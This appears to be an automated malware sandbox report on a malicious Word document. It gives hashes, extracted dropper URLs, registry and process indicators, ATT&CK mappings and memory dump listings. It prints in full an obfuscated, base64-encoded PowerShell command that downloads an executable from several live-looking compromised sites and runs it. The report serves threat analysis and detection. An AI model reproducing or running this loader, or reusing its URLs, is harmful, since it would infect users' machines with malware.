9de70af07f1659f32c9e7aeb00a61ba1b1ca8e7985f1d5a3cc4197f67e8675b6

General

Target

9de70af07f1659f32c9e7aeb00a61ba1b1ca8e7985f1d5a3cc4197f67e8675b6.doc
Size

123KB
MD5

1e35156777f498663f05a328abcfba80
SHA1

392937c8a098fcdca9d9cae58a5a05ec657f485f
SHA256

9de70af07f1659f32c9e7aeb00a61ba1b1ca8e7985f1d5a3cc4197f67e8675b6
SHA512

d259c69c274a7be8d768b426713336330b62bf94b836abcf38d4a5eeea24283242610b36ae7e488234482c73f2a76e6b98ea04603b2a13c68ef12c1b8acba0ef

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://atlanticsg.com/wp-includes/fsfrz22_mkp29qlby-69478/

exe.dropper

http://eastpennlandscape.com/css/qhJUtdBFvM/

exe.dropper

http://mcs-interiors.co.uk/cgi-bin/MUbadZUIXD/

exe.dropper

http://laderajabugo.navicu.com/wp-admin/6ohv5j_6m40d-4652183/

exe.dropper

http://banphongresort.com/wp-includes/8hxbg02o_wkpvf-27459009/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1836 772 powershell.exe
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

5 1836 powershell.exe
7 1836 powershell.exe
9 1836 powershell.exe
11 1836 powershell.exe
14 1836 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1836	772	powershell.exe

flow	pid	process
5	1836	powershell.exe
7	1836	powershell.exe
9	1836	powershell.exe
11	1836	powershell.exe
14	1836	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\TypeLib\{AFA756A9-D94F-4E98-A0A6-23B49AF16823}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AFA756A9-D94F-4E98-A0A6-23B49AF16823}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1304 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1836 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1836 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

1304 WINWORD.EXE
1304 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1304 WINWORD.EXE
1304 WINWORD.EXE

pid	process
1304	WINWORD.EXE

pid	process
1836	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1836	powershell.exe

pid	process
1304	WINWORD.EXE
1304	WINWORD.EXE

pid	process
1304	WINWORD.EXE
1304	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1304 wrote to memory of 1660	1304	WINWORD.EXE	splwow64.exe
PID 1304 wrote to memory of 1660	1304	WINWORD.EXE	splwow64.exe
PID 1304 wrote to memory of 1660	1304	WINWORD.EXE	splwow64.exe
PID 1304 wrote to memory of 1660	1304	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9de70af07f1659f32c9e7aeb00a61ba1b1ca8e7985f1d5a3cc4197f67e8675b6.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQBPAGYAMgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAGwATQBJAGQAawArACcALgBlAHgAZQAnADsAJABaAEUAdwBCAFIAUwBPAD0AJwBuAEYAcAB6AGkAdwAnADsAJABUAHAAUwA0ADYAcwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBgAGUAdABgAC4AdwBFAGIAQwBgAGwASQBFAE4AdAA7ACQARAB3AGIAOQB6AHMAVwA9ACcAaAB0AHQAcABzADoALwAvAGEAdABsAGEAbgB0AGkAYwBzAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGYAcwBmAHIAegAyADIAXwBtAGsAcAAyADkAcQBsAGIAeQAtADYAOQA0ADcAOAAvAEAAaAB0AHQAcAA6AC8ALwBlAGEAcwB0AHAAZQBuAG4AbABhAG4AZABzAGMAYQBwAGUALgBjAG8AbQAvAGMAcwBzAC8AcQBoAEoAVQB0AGQAQgBGAHYATQAvAEAAaAB0AHQAcAA6AC8ALwBtAGMAcwAtAGkAbgB0AGUAcgBpAG8AcgBzAC4AYwBvAC4AdQBrAC8AYwBnAGkALQBiAGkAbgAvAE0AVQBiAGEAZABaAFUASQBYAEQALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAZQByAGEAagBhAGIAdQBnAG8ALgBuAGEAdgBpAGMAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANgBvAGgAdgA1AGoAXwA2AG0ANAAwAGQALQA0ADYANQAyADEAOAAzAC8AQABoAHQAdABwADoALwAvAGIAYQBuAHAAaABvAG4AZwByAGUAcwBvAHIAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOABoAHgAYgBnADAAMgBvAF8AdwBrAHAAdgBmAC0AMgA3ADQANQA5ADAAMAA5AC8AJwAuAHMAUABsAEkAdAAoACcAQAAnACkAOwAkAEIAUwAyAHAAbQA1AHQAPQAnAGgAegBuAFUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGkAbQA4AHoAXwBHAFIAIABpAG4AIAAkAEQAdwBiADkAegBzAFcAKQB7AHQAcgB5AHsAJABUAHAAUwA0ADYAcwAuAEQAbwBXAE4ATABPAEEAZABmAEkATABFACgAJABHAGkAbQA4AHoAXwBHAFIALAAgACQAdQBVAEkARQBPAGYAMgB6ACkAOwAkAEwAUQBYADYAYQA2AD0AJwBoAEoAcwB6AHMAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHUAVQBJAEUATwBmADIAegApAC4ATABFAE4ARwB0AEgAIAAtAGcAZQAgADMAMwA2ADkAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAcwB0AEEAcgB0ACgAJAB1AFUASQBFAE8AZgAyAHoAKQA7ACQATABTAEkAMwA0AEsARgA9ACcAaABjAEgANwBWAGYAJwA7AGIAcgBlAGEAawA7ACQATwBoADUAdABtAFkAbQA9ACcAbgBBADQAaQAyAEcAYQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAWQBVAEYAUwBqAD0AJwBvAEcAcwB3AE4AdQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1304-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1304-55-0x0000000070521000-0x0000000070523000-memory.dmp

Filesize
8KB

Download
memory/1304-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1304-57-0x000000007150D000-0x0000000071518000-memory.dmp

Filesize
44KB

Download
memory/1304-58-0x0000000076531000-0x0000000076533000-memory.dmp

Filesize
8KB

Download
memory/1304-71-0x000000007150D000-0x0000000071518000-memory.dmp

Filesize
44KB

Download
memory/1304-54-0x0000000072AA1000-0x0000000072AA4000-memory.dmp

Filesize
12KB

Download
memory/1660-59-0x0000000000000000-mapping.dmp

Download
memory/1660-60-0x000007FEFBFB1000-0x000007FEFBFB3000-memory.dmp

Filesize
8KB

Download
memory/1836-63-0x000007FEF3870000-0x000007FEF43CD000-memory.dmp

Filesize
11.4MB

Download
memory/1836-65-0x000000000240B000-0x000000000242A000-memory.dmp

Filesize
124KB

Download
memory/1836-66-0x0000000002404000-0x0000000002407000-memory.dmp

Filesize
12KB

Download
memory/1836-67-0x000000000240B000-0x000000000242A000-memory.dmp

Filesize
124KB

Download
memory/1836-68-0x0000000002404000-0x0000000002407000-memory.dmp

Filesize
12KB

Download
memory/1836-69-0x000000000240B000-0x000000000242A000-memory.dmp

Filesize
124KB

Download
memory/1836-64-0x0000000002404000-0x0000000002407000-memory.dmp

Filesize
12KB

Download
memory/1836-62-0x000007FEF4490000-0x000007FEF4EB3000-memory.dmp

Filesize
10.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads